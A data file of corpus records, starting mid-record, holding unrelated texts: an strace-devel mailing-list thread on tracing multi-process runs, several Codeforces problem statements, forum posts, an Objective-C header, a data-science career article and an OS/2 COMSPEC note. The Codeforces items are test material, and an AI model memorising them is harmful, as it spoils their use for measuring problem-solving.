sorts of incomplete logs.\n>> The chromium unit tests tends to open a lot of processes quickly and kill\n>> them just for fun.\n> In general using -f may yield some weirdness.\n> My experience is that -ff works great even in these cases.\n> If you found some bugs there, please drop a mail here!\nI'd have to reproduce using latest strace version. If I do, I'll report back.\n>> - Even using one log file per process with -ff still cause occasional\n>> corrupted log file on heavily multithreaded processes. Note that using a\n>> workstation will a lots of core may probably help exhibit this problem more.\n> ... using -ff is a better way to trace multiple threads and processes correctly.\n> I am using it on very large trace with 4.8 and HEAD without much of a\n> bad behavior (by large I mean 300 to 500K processes and 20 to 30 GB\n> strace outputs).\n> If you see some issues that can be reproduced, please drop a mail here\n> so someone can investigate.\nThat's larger than what I traced, usually <1gb and a few hundreds of processes.\n>> - No clear separation of call / return in the logs, causing a funny search\n>> to figure out which call completed. There's an heuristic in\n> There are no unfinished/resumed calls when using -ff. So IMHO you\n> should be using -ff -tt/ttt and then reassemble the per-process traces\n> in one big file that you can then stream parse line by line. Using the\n> strace-log-merge util will do this for you (this is in Perl and if\n> this is an issue this would be easy enough to write that in Python).\n> The calls will be in the right sequence and each line will have a pid.\n> This approach is used in strace tests itself : see  for a tiny\n> shell script example.\nI definitely recall seeing unfinished/resumed calls when using -ff, at\nleast on 4.5.20. If I reproduce on newer version, will report back.\nThanks, I didn't know about strace-log-merge.\n>> - Encoding, since linux doesn't prescribe utf-8, I have to hope for the\n>> best. Note: I should use -x, I don't recall why I had commented it out.\n>> Maybe just laziness.\n> Do you have an example of a problematic output?\n> FWIW, the approach taken by rsync with file paths listing is the following:\n> - try to decode paths using the locale/file system encoding (possibly utf-8)\n> - if this fail, encode failing characters in octal\n> - alternatively force utf-8 with an option and fail if decoding cannot be done\n> Strace has a similar logic with -x alright, except it tries only ASCII\n> decoding and falls back to hex.\n> IMHO that should work out well for a json structured output.\n> Why did you drop using -x?\nDidn't drop, just hadn't started using it. I don't recall why; it's\nbeen almost 2 years since I effectively touched this code. In\npractice, it was not necessary for my end goal. Writing\ntrace_inputs.py was just a mean to achieve what I wanted to do\n(identify all run time dependencies), not a goal in itself. So that's\nwhy it has a very limited feature set.\n>> - Only after the process hierarchy is figured out I could figure out the\n>> starting current working directory of each process, causing a lot of \"late\n>> bound path\". See RelativePath class. It definitely slows down reading the\n>> logs and adds potential corruption of the paths in the trace reader if it\n>> incorrectly guessed the starting cwd.\n> This is an issue indeed. YMMV, but in your case (i.e. Ubuntu) where\n> most exe have likely been compiled with a GNU toolchain you would end\n> up having typically a getcwd syscall early on in most processes and\n> typically in the first one.\nFTR, the chromium unit tests usually fork and start working right away\ninstead of exec'ing, so most processes didn't log an initial getcwd().\nBut yes -y would have saved me a lot of work.\n>> - No header to list the hooked functions I should expect to appear, and the\n>> number of arguments in each. Since it changes from OS version to another, I\n>> made the code assert on unknown function so I can add them manually.\n> Good point: someone (Mike F./vapier?) suggested we should return some\n> directory of supported calls and calls specs. How would you see such\n> an output structure to be useful?\nIn general the reader has to know what it is looking for, so it's not\nthat much of a big deal. But I think it'd be generally interesting.\n>> - Variable number of arguments to a function coupled with split log lines\n>> and interesting quoting caused some headaches IIRC. (Or was it OSX doing\n>> this? Sorry I don't recall)\n> If you are talking about suspend/resume, then using -ff takes that away.\n> As for varargs --if this happens-- I guess this is the way the\n> syscalls are. Not much that can be done.\n> To the best of my knowledge quoting in strace is rather consistent,\n> but they are surely some gremlins left and right.\n> Do you have an example of this?\nActually, I think I misremembered and it was indeed an issue with\ndtrace (sorry for the confusion). For the varargs, for example open()\naccepts either 2 or 3 arguments but the code is handling it just fine.\nIt's just a fact of life and the reader has to live with it. I should\nhave skipped this comment.\n>> Of all the problems, the log corruption with heavily multithreaded process\n>> on a multi-core system has been the most problematic. Everything else is\n>> solvable but when the log is corrupted, there isn't much to do. Last time I\n>> tried, which is a long long time ago, I was still able to reproduce\n>> occasional corruptions with our test named \"browser_tests\".\n> Please send a note here with details. I am using strace routinely to\n> trace execution of 300K+ processes at once and have not seen a bad\n> behavior to date. Also please consider checking out 4.8 or HEAD.\nI didn't keep any broken log and never trace nowadays. Will report\nwith one if I reproduce again with a newer version.\n>> A separate issue I got was that I was not able to trace native client\n>> sandboxed unit test processes unless strace was running under sudo but to do\n>> that I need to attach to the already started process to be able to not run\n>> the unit test itself as root. It's been a pain to implement. Note strictly\n>> strace's fault, just FYI.\n> Is this \"native client\" of yours using some setuid/setgid? If so,\n> there are known limitations since strace uses the ptrace syscall an\n> inherits from its limitations which are about security. This is more\n> or less explained in the man (2) ptrace and man (1) strace though this\n> is an area that has never been quite clear to me. Have your tried if\n> the -u option could be of any help to you?\nNative Client = https://code.google.com/p/nativeclient/\nI didn't use -u, I should have. It would have been simpler. Again,\nlack of knowledge (or properly reading the man page, I naively assumed\nthis functionality wasn't there).\n>> What I'd recommend;\n>> - json is good for smallish document but is not great for unbounded\n>> documents. Logs can get >2gb. IMHO, I'm not sure it's a good fit.\n> What about if a trace is not ONE json doc, but instead MANY?\nWe agree on this, I explained it more in a separate email.\n>> Something custom would be fine with me. Just expose a reference code to read\n>> it back in 1 language, 2-3 popular languages if possible.\n> Once we start to have a more or less working feature, would you be\n> willing to chip in? Like a possible Python reference code?\nI can't promise anything currently but the format I proposed in the\nother email would be parseable in a relatively short amount of code.\nWe'll see in time. :)\n> About the cwd, see above: adding absolute paths everywhere makes the\n> cwd possibly a non issue. That said, the pid, ppid and cwd should\n> eventually be data attached to every call in a structured output, even\n> if this is a bit redundant.\nFTR, I think it's simpler (IMHO) to only record what was called and\nhave the reader reconstruct it. In particular, to not make the\nstructured output too configurable. This makes the reader code\nsimpler, since there's less code paths. More options = more file\nformats = more reader code paths = less tested code. That's my humble\nopinion, feel free to ignore. My preference is to have one canonical\nway to print it out that is dense enough but has all the required\ninformation to read it deterministically, and that's it.\n> If you were to encode this by hand in json, how would you structure this?\n> Also I wonder if attaching some arbitrary unique id to every call\n> could help reassemble multiple entries sanely.\nWrote example in the other thread.\n> I guess the strace maintainers should take this as a compliment :P\nIt is. :)\nMore information about the Strace-devel", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2463, "token_count_with_eod": 2464, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Multi-scale modelling of spatial and spatio-temporal patterns in biological developments.\nWe study the dynamics of the developmental patterns on a variety of domains, from tissue formation to animal coats. To be more specific, we model the developmental patterns in an integrated environment of molecular-level regulatory interactions and cellular-level activities, including mitosis, cell differentiation, cell migration and apoptosis. Our latest biological validation is on Drosophila's eye formation.Student:\n- Hien Nguyen\n- Integrated Cellular and Gene Interaction Model for Cell Migration in Embryonic Development, Proceedings of IDASB (workshop on Integrative Data Analysis in Systems Biology at BIBM2010)\n- Integrated cellular and gene interaction modeling of pattern formation in Interational Journal of Computational Biology and Drug Design vol. 4, no. 4, pages 361-372\nA computational modeling framework for gene regulatory networks based on insufficient data\nDeals with developing statistical modeling on gene regulatory networksStudents:\n- Yang Zhang\n- Zhengyu Ouyang\nCDAO-store is a repository providing a rich set of API's for querying and visualizing phyloinformatics data.Students:\n- Brandon Chisham\n- Trung Le\n- Ben Wright\n- iEvoBio2010 [Abstract]\n- CDAO-Store: Ontology-driven Data Integration for Phylogenetic Analysis in BMC Bioinformatics 2011, 12:98\nHave a research project not listed here? Send any information you want posted here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 314, "token_count_with_eod": 315, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Some time ago Homer lived in a beautiful city. There were $$$n$$$ blocks numbered from $$$1$$$ to $$$n$$$ and $$$m$$$ directed roads between them. Each road had a positive length, and each road went from the block with the smaller index to the block with the larger index. For every two (different) blocks, there was at most one road between them.\n\nHomer discovered that for some two numbers $$$L$$$ and $$$R$$$ the city was $$$(L, R)$$$-continuous.\n\nThe city is said to be $$$(L, R)$$$-continuous, if\n\n1. all paths from block $$$1$$$ to block $$$n$$$ are of length between $$$L$$$ and $$$R$$$ (inclusive); and\n2. for every $$$L \\leq d \\leq R$$$, there is exactly one path from block $$$1$$$ to block $$$n$$$ whose length is $$$d$$$.\n\nA path from block $$$u$$$ to block $$$v$$$ is a sequence $$$u = x_0 \\to x_1 \\to x_2 \\to \\dots \\to x_k = v$$$, where there is a road from block $$$x_{i-1}$$$ to block $$$x_{i}$$$ for every $$$1 \\leq i \\leq k$$$. The length of a path is the sum of lengths over all roads in the path. Two paths $$$x_0 \\to x_1 \\to \\dots \\to x_k$$$ and $$$y_0 \\to y_1 \\to \\dots \\to y_l$$$ are different, if $$$k \\neq l$$$ or $$$x_i \\neq y_i$$$ for some $$$0 \\leq i \\leq \\min\\{k, l\\}$$$.\n\nAfter moving to another city, Homer only remembers the two special numbers $$$L$$$ and $$$R$$$ but forgets the numbers $$$n$$$ and $$$m$$$ of blocks and roads, respectively, and how blocks are connected by roads. However, he believes the number of blocks should be no larger than $$$32$$$ (because the city was small).\n\nAs the best friend of Homer, please tell him whether it is possible to find a $$$(L, R)$$$-continuous city or not.", "source": "cpt_codeforces", "language": "en", "token_count": 476, "token_count_with_eod": 477, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Defender of the Crown was a troubled production. As the deadline was approaching and the initial development team fell more and more behind schedule, not only some features were removed from the baseline (which re-appeared in later ports), but also some essential changes were made to the basic game mechanics. One of them was the switch from real time to turn-based. Although Cinemaware later released a not dissimilar game (Lords of the Rising Sun) which did sport real time gameplay, they never re-visited their initial genre-defining classic in this respect. So somebody else did it instead. Enter Joan of Arc.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 124, "token_count_with_eod": 125, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Im offering my services of Gaming Servers setup and/or Administration. My speciality is in Red Hat 9, but can do most linux Operating Systems.\nI have set up games such as Steam Based games (counterstrike, Natural Selection, etc..), Return to Castle Wolfenstein (+ standalone Et Mod), and many other games.\nFor server setup you can hire me per hour (several server setups) or a one off fee for a server Administration is an hourly payment. If i fail to setup the server, you get your money back.\nI have previously worked for WebspaceUK and was the Gaming Server Administrator, which meant i looked after the server and did everything to do with it (minor FTP tasks, set up services etc). If you would like to hear the owner's testimonial please contact me.\nSo, if you are interested in hiring me or finding out more information please contact me here: [email protected] or add me on [msn] cartoonwally[at]hotmail[dot]com\nLast edited by Matt -Seeksadmin; 05-22-2004 at 09:19 AM.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 237, "token_count_with_eod": 238, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m using the latest version of Psi4 (1.4a1.dev60) on Fedora 28/29 and encountered the problem with segmentation fault. Here is some input:\nH 0.14748 -1.86719 0.82318\nN 0.22937 -0.87127 0.58052\nO 0.68847 -0.78564 -0.71211\nO -0.64741 -0.08013 0.99612\nN -0.23139 1.69102 -0.83138\nH -1.25902 1.75249 -0.85594\nH 0.25985 1.10119 -0.80404\nH 0.02703 2.29628 -0.03930\nIt reproduced with every methods (DFT, MP2, OMP2, CCSD, SCF) and basis sets (cc-pvdz, sto-3g, 6-31g). I guess, the problem is analytic gradients. It is always stops at SCF GRAD module. With dertype='energy' the routine works clear.\nAny chance there’s an ubuntu or conda libint package around such that the build-time libint could be different from the runtime-loaded libint? If those two are built with different max AM, a runtime segfault is what happens. peripherally-relevant post\nI can’t find a specific directly, but I’m confident psi has built and at least quick-tested with a GCC 8.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 405, "token_count_with_eod": 406, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I love early access games. Sure, they’re a risky investment. Sometimes it would be more efficient to throw my money directly into the nearest trash can. They promise a lot of things that will never come into fruition. The game I dream up might be entirely a different game than the one the developers are dreaming. And I might not like the game they’re making. The developers could be lazy bums that don’t know how to make games and come to dislike making games. Oftentimes, the game might never come out. It might fizzle away after a year or so of work; the victim of foolish spending and incompetence in video game development. But I find that, most of the time, it’s worth the risk.\nA lot of people that know me will know that I am a big supporter of Star Citizen. For me, Star Citizen is the quintessential early access game: Chris Roberts, maker of the classic Wing Commander games, had a dream. His dream was to make the best space simulation out there. He wanted to make not just a space flight sim, though, he wanted to make a first-person universe. A universe where you can walk around in your ship, take off, fly to another planet, land, get out of your ship, walk to a store front, buy a load of lucrative cargo, load it into your cargo hold, take off, jump to another sector of the galaxy, and sell your cargo at a space station that is also fully explorable on foot. A universe populated with thousands of NPCs and other players. I heard about Star Citizen and instantly started dreaming along with Chris Roberts and his team.\nSo where am I going with this? I want to focus gameSLRP on early access games. This isn’t to say we won’t talk about big AAA titles or what’s going on in the Sony and Microsoft world, but that won’t be our focus. I want to start showing you guys some of the games that some these small devs have been dreaming up. And I want you to start dreaming with them.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  DXGetSpcSumReallyModel.h\n//  DXQ\n//\n//  Created by rason on 8/13/15.\n//  Copyright (c) 2015 rason. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@interface DXGetSpcSumReallyModel : NSObject\n\n@property (nonatomic, copy) NSString *L_COLLECT;\n\n@property (nonatomic, copy) NSString *L_PRAISE;\n\n\n@property (nonatomic, copy) NSString *L_COMMENT_SUM;\n\n@property (nonatomic, copy) NSString *L_SHARE;\n\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Food for /θɔt/ or /θɑt/?\nA Case Study of a Low Back Vowel Merger\nThe English low back vowel merger, where words like caught and cot are pronounced identically, is a well-studied phenomenon. Generally, these studies focus on mergers within given regions, comparing vowels of non-mobile individuals. My research differs in exploring the effects of relocation. I examine pronunciation differences of vowels in differently gendered twins from England who moved to Canada as children. Despite growing up in similar environments, their vowel patterns differ: there is some evidence of merger in the female’s but not the male’s vowels. This suggests that mobility and exposure to a new dialect may affect pronunciation changes but are not the sole factors.\nThis work is licensed under a Creative Commons Attribution 4.0 International License.\nThis is an Open Access journal. All material is licensed under a Creative Commons Attribution 4.0 International (CC BY 4.0) licence, unless otherwise stated.\nPlease read our Open Access, Copyright and Permissions policies for more information.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 220, "token_count_with_eod": 221, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Guido's keynote slides from PyCon 2013: https://www.dropbox.com/s/xknbe58zcvjhzhv/PyCon2013.pptx\nHN comments: https://news.ycombinator.com/item?id=5395385\nIMO, it's about fracking time asyncore got replaced with something half-decent; I've been writing I/O event loops inside threads for way too long (I probably should have been using Tornado or eventlet, but still...). The API looks kinda eclectic (which I guess it would have to be, if it is to work with the multitude of existing solutions), but I'm sure they'll tighten it by the time they release. This is definitely a Good Thing. For me, this is the first real incentive to switch to Python 3.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 175, "token_count_with_eod": 176, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "BigData Inc. is a corporation that has n data centers indexed from 1 to n that are located all over the world. These data centers provide storage for client data (you can figure out that client data is really big!).\n\nMain feature of services offered by BigData Inc. is the access availability guarantee even under the circumstances of any data center having an outage. Such a guarantee is ensured by using the two-way replication. Two-way replication is such an approach for data storage that any piece of data is represented by two identical copies that are stored in two different data centers.\n\nFor each of m company clients, let us denote indices of two different data centers storing this client data as ci, 1 and ci, 2.\n\nIn order to keep data centers operational and safe, the software running on data center computers is being updated regularly. Release cycle of BigData Inc. is one day meaning that the new version of software is being deployed to the data center computers each day.\n\nData center software update is a non-trivial long process, that is why there is a special hour-long time frame that is dedicated for data center maintenance. During the maintenance period, data center computers are installing software updates, and thus they may be unavailable. Consider the day to be exactly h hours long. For each data center there is an integer uj (0 ≤ uj ≤ h - 1) defining the index of an hour of day, such that during this hour data center j is unavailable due to maintenance.\n\nSumming up everything above, the condition uci, 1 ≠ uci, 2 should hold for each client, or otherwise his data may be unaccessible while data centers that store it are under maintenance.\n\nDue to occasional timezone change in different cities all over the world, the maintenance time in some of the data centers may change by one hour sometimes. Company should be prepared for such situation, that is why they decided to conduct an experiment, choosing some non-empty subset of data centers, and shifting the maintenance time for them by an hour later (i.e. if uj = h - 1, then the new maintenance hour would become 0, otherwise it would become uj + 1). Nonetheless, such an experiment should not break the accessibility guarantees, meaning that data of any client should be still available during any hour of a day after the data center maintenance times are changed.\n\nSuch an experiment would provide useful insights, but changing update time is quite an expensive procedure, that is why the company asked you to find out the minimum number of data centers that have to be included in an experiment in order to keep the data accessibility guarantees.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a string $$$s$$$, consisting of $$$n$$$ letters, each letter is either 'a' or 'b'. The letters in the string are numbered from $$$1$$$ to $$$n$$$.\n\n$$$s[l; r]$$$ is a continuous substring of letters from index $$$l$$$ to $$$r$$$ of the string inclusive.\n\nA string is called balanced if the number of letters 'a' in it is equal to the number of letters 'b'. For example, strings \"baba\" and \"aabbab\" are balanced and strings \"aaab\" and \"b\" are not.\n\nFind any non-empty balanced substring $$$s[l; r]$$$ of string $$$s$$$. Print its $$$l$$$ and $$$r$$$ ($$$1 \\le l \\le r \\le n$$$). If there is no such substring, then print $$$-1$$$ $$$-1$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 187, "token_count_with_eod": 188, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "JRA-55C is a fixed observing system atmospheric reanalysis that uses the same model and data assimilation scheme as JRA-55. The observations assimilated include surface station data, radiosondes, tropical cyclone retrievals and wind profilers. No satellite observations are included. JRA-55C spans November, 1972 thru December, 2012 but may be extended back to 1958 by combing it with JRA-55 for the pre-satellite era 1958- October 1972. JRA-55C is intended for detecting the impacts of observing system changes on JRA-55, and for studies of climate variability and change.\nThe following was contributed by Chiaki Kobayashi, Japan Meterological Agency and Meterological Research Institute, December, 2015:\nThe Japanese 55-year Reanalysis Conventional (JRA-55C; C. Kobayashi et al. 2014) is an atmospheric reanalysis assimilating conventional observations only. This reanalysis dataset was created without assimilating satellite observations by using the same data assimilation system as JRA-55 (S. Kobayashi et al. 2015) in order to investigate the impact of observing system changes on the JRA-55 product and to provide more homogeneous meteorological variables for studies of climate change and multi-decadal variability. The conventional observations assimilated here are surface observations, radiosondes, tropical cyclone retrievals and wind-profilers. The JRA-55C reanalysis covers the period from January 1958 to December 2012, including the pre-satellite era (January 1958 to October 1972) from the JRA-55 reanalysis; the data assimilation of JRA-55C was performed only for the period after November 1972 during which satellite observations were assimilated in JRA-55.\nAlong with these key limitations, the product has large uncertainties in areas where conventional observations are sparse, e.g. over oceans, in the Southern Hemisphere high latitudes and in the upper stratosphere.\nThere are large uncertainties in model diagnostic variables such as precipitation, evaporation, radiation flux and cloud cover. This is the case with all reanalyses, (see Expert Guidance of JRA -55).\nThe bias correction method for radiosonde temperatures adopted by JRA-55 is applied to JRA-55C (see Subsection 2.2.a in S. Kobayashi et al., 2015).##\nClick the thumbnails to view larger sizes\n|Time series of the RMSE of 2-day forecasts of geopotential height at 500 hPa verified against the corresponding analysis for the NH (20°N−90°N). Units are geopotential meters (gpm). A 12-month running mean was applied for smoothing. “Operation” indicates the JMA operational forecast started from the JMA operational analysis at the indicated time. Each forecast is started from the data produced by the corresponding reanalysis. Adapted and updated from C. Kobayashi et al. (2014, Fig. 3) (Contributed by C. Kobayashi)|\n|Time-height cross section of equatorial (5°S−5°N) zonal mean U wind component from 1958 to 2012 shown in a) JRA-55, b) JRA-55C and c) JRA-55AMIP (Atmospheric Model Intercomparison Project (AMIP)-type simulation using the same numerical weather prediction system as JRA-55 without assimilating observations). Units are m s−1. Adapted and updated from C. Kobayashi et al. (2014, Fig. 7) (Contributed by C. Kobayahshi)|\nKobayashi, Chiaki & National Center for Atmospheric Research Staff (Eds). Last modified 02 Mar 2016. \"The Climate Data Guide: JRA-55C (reanalysis using conventional observations).\" Retrieved from https://climatedataguide.ucar.edu/climate-data/jra-55c-reanalysis-using-conventional-observations.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 920, "token_count_with_eod": 921, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Rewards, once created, can be assigned to achievements. Upon earning an achievement, you can then distribute these rewards to the player. They can be anything you like. You might want to award a certain number of points to a custom leaderboard. You might want to fire off an order to Amazon for a gift card. You might send an email to someone in HR to hand-deliver a weekend getaway package. The possibilities are endless.\nRewards have the following properties:\nClick here for information about common properties.\nRewards can be anything you like, but it's your responsibility to to distribute the reward to the player.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mlc 3.0 Developped For 86\nPosted 24 May 2006 - 11:53 PM\nNOTE: I am not contributing in this project anymore atm, since I don't know ASM, I just wanted to let you know that there was still a MLC being developped on TI calcs and I'm not sure what the new author is planning\nEDIT: btw I posted a link to the topic Deimos posted on EPS forums today on Omnimaga that linked to MLC discussion here\nPosted 25 May 2006 - 01:33 PM\nPosted 25 May 2006 - 11:29 PM\nPosted 23 September 2006 - 08:53 PM\nAlso, I've made an MLC website:\nThere is a MLC Casio AFX page, so if you have any information about MLC for the Casio AFX that you'd like to share, just post it here, and I'll hopefully remember to check this forum again and then update the website .\nPosted 24 September 2006 - 01:09 PM\nPosted 25 September 2006 - 12:13 AM\nPosted 26 September 2006 - 04:41 PM\nmulti platform language...\nin which language do you intend to write the mlc? (asm,C...)\nwill the versions for the different calcs compatible? (because there is a great discrepancy between the screens..)\nPosted 20 December 2006 - 10:24 PM\nI'm planning on making a MLC on-computer conversion program, which should take care of any incompatibilities. I don't know enough about Casio calculators though to make it convert to/from Casio calculators.\nMLC 68K is in C, MLC TI-86 and MLC TI-83+ are in assembly.\nMLC isn't just meant to be Multi-Platform; it is designed to be a much faster and more powerful gaming-specific programming language too.\nPosted 21 December 2006 - 03:58 PM\nPosted 21 December 2006 - 04:20 PM\nI will see what I can do about a \"compatibility mode\" that allows their programs to be interpreted once I get detailed specs from their side, but I doubt that this will happen too soon\nPosted 21 January 2007 - 03:24 AM\nI'm working on some on-line documentation for MLC 68K that may interested you (http://bfr.tifreakware.net/mlcdoc). I'm also working on an on-computer conversion program that converts MLC programs from platform to platform, which will hopefully take care of any incompatibilities.\nPosted 22 January 2007 - 12:37 PM\nPosted 24 January 2007 - 06:47 PM\nPosted 24 January 2007 - 07:38 PM\n0 user(s) are reading this topic\n0 members, 0 guests, 0 anonymous users", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 699, "token_count_with_eod": 700, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Off the Wall\nI made an online order on December 3, 2016, I checked the order status. Guess what NO ORDER!!!! My credit card has been charged.......HELP!!!!!\nShow us your personal collection!\n- 2016 -\n- 2015 -\n- 2014 -\n- 2013 -\n- 2012 -\n- 2011 -\n- 2010 -\n- 2009 -\nTag Archives: charity by design employee engagement\nGuest Blogger: Kara Turenne, Alex and Ani Customer and Employee Engagement Manager, on National Volunteer Week\nAt Alex and Ani, we believe in giving back as much as we can. In celebration of National Volunteer Week, …\nALEX AND ANI", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This software has enormous potential. To be fair it is still very early but the team is working to improve the product as well as provide support as needed. As long as they keep at it, it should be a home run. The design is really good and while the actual UX is going to need some work it's very customizable and built on a solid code base. Definitely, a product to \"grow\" with if you are building a listing directory.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mishka is a little polar bear. As known, little bears loves spending their free time playing dice for chocolates. Once in a wonderful sunny morning, walking around blocks of ice, Mishka met her friend Chris, and they started playing the game.\n\nRules of the game are very simple: at first number of rounds n is defined. In every round each of the players throws a cubical dice with distinct numbers from 1 to 6 written on its faces. Player, whose value after throwing the dice is greater, wins the round. In case if player dice values are equal, no one of them is a winner.\n\nIn average, player, who won most of the rounds, is the winner of the game. In case if two players won the same number of rounds, the result of the game is draw.\n\nMishka is still very little and can't count wins and losses, so she asked you to watch their game and determine its result. Please help her!", "source": "cpt_codeforces", "language": "en", "token_count": 200, "token_count_with_eod": 201, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Data Science 101: A career in the sexiest field of the 21st century\nAs labelled by some, the “sexiest field of the 21st century”, many of us still wonder what data scientists do and what is so sexy about it?\nIt is no surprise to us that modern businesses are now awash with data. More and more industries are realising the power of Big Data and searching for means through which businesses can leverage from it. The amazing ideas you see in Hollywood Sci-Fi movies, they can be turned into reality with the help of Data Science. This field is the face of Artificial Intelligence.\nCurrently, data volume has reached a whooping 44 trillion gigabytes. Sounds insane right? It really isn’t. Data Science uses scientific approaches, algorithms and systems to extract the knowledge from data and business can then leverage this data to make major decisions.\nLet’s look into why Data Science is an upcoming field in the 21st century and give an overview of how it adds value to businesses as well as your personal life.\nWhy pursue a career in Data Science?\nTraditionally, the data companies possessed was structured and small in size. This could be analyzed using simple Business Intelligence tools. However, nowadays, data is generated from different sources like financial logs, forms, sensors etc, which makes room for a lot of unstructured or semi-structured data. Currently 80% of the data acquired by organisations is unstructured which needs complex analytical tools and algorithms to process it.\nThis is not the only reason for this field to be so popular. Every recommendation you receive on E-commerce and Retail websites is because past data has been analyzed and the model has been trained to recommend products to you with precision.\nLet’s look at weather forecasting as an example. Data from ships, airplanes, radars can be collected and analyzed to build models. These models will then not only help with weather forecasting but also predict any occurrence of natural calamities.\nSo what’s the problem currently faced by businesses? The shortage of Data Scientists is becoming a serious constraint in many sectors. From Government industries to Dating Apps, all are in dire need of help and expertise from professionals in the Data Science field to turn cutting-edge technology into actionable insights.\nWhat is the role of a Data Scientist?\nIf you are looking to start your career as a Data Scientist, a basic understanding of programming languages and mathematics is required. A data scientist, also known as the “Master of Trial & Error” usually collects large amounts of structured as well as unstructured data from various sources. Furthermore, you will analyse and interpret it for various needs of the organisation. You will be creating statistical, network and big data methodologies for predictive fraud propensity models and use those models to create alerts.\nYou will be a huge help to the sales and marketing team, guiding them on understanding their audiences on a very granular level. Furthermore, you will play an important role in companies as you represent the voice of the customers through huge chunks of data.\nHow can Data Scientists add value to businesses?\n- Empower management to make better decisions: A data scientist plays an important role in demonstrating the value of the company’s data to facilitate better decision-making processes. This process is enhanced by measuring and tracking the performance metrics of the organisation.\n- Identify Opportunities: When discussing the organisation’s analytics system, data scientists question the existing processes and develop additional but better algorithms. As a data scientist, you are required to constantly improve the value that is derived from the organisation’s current data.\n- Identify and Refine your Target Audience: All companies have one or more ways to collect customer data. If not used well, it will be a waste. The importance of data science is based on the ability to take existing data that is not necessarily useful on its own and generate insights. These insights will help businesses understand and relate better to their audience.\n- Recruit the right talent for your organisation: Thanks to data science, recruiters’ lives have become much easier. With the amount of information available online through social media and corporate databases, a data scientist can work their way through all the data points and find the right fit for the organisation.\nData Science Professional Certification\nProfessional Certifications are a great way to gain an edge because they allow you to develop skills that are hard to acquire in the workplace. In this competitive world, professional certifications will also help in validating your skills, so recruiters and hiring managers know what they’re getting if they hire you.\nWith Certified Data Science Specialist Certification, you will learn how to leverage on data to unlock new economic value for your business, as well as apply useful data science concepts to every aspect of your daily life from personal finances to work decisions.\nIf you are pondering upon how to start your Data Science career, be sure to have some knowledge in Python Programming, R Programming and then secure your Data Science Certification! Once you have mastered that, you can either stop there or continue moving forward into Industrial Revolution 4.0 skills (Machine Learning, Artificial Intelligence, Internet of Things, Deep Learning).\nOpportunities that come with a Data Science Certification\nGood news for aspiring data scientists! With a professional certification in Data Science, you are not just restricted to becoming a Data Scientist. This field has opened doors to many different career options like Machine Learning Engineer, Machine Learning Scientist, Data Engineer, Business Intelligence Developer, Data Analyst & Statistician. Data Science is just a stepping stone to help build a solid base in order for you to excel in the above career fields if needed.\nWith several job opportunities out there available for you and several incentives by the government (click here to view the post), this is your time to make use of the opportunity and upskill or reskill yourself according to the current trends across industries. Stand out from the crowd and get noticed by employers to land your preferred jobs.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This variable sets up the command line shell for OS/2.\n- OS/2 will not start without this variable\n- /K C:\\PROGRAM - Starts cmd.exe together with a program (program could be any executable program).\n- /S - Disables CTRL+C. No interrupt for programs possible.\n- /Q - NO ECHO\n- /C PROGRAM - Starts a second command processor with a program. After execution of the program (e.g. DIR A:) return to the first command processor.\nTIP: If you wish to run some other command line shell, such as 4OS2, change this line and the SET COMSPEC=C:\\OS2\\CMD.EXE line, substituting the appropriate EXE file for CMD.EXE.\nValue can be any command shell with a full path.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
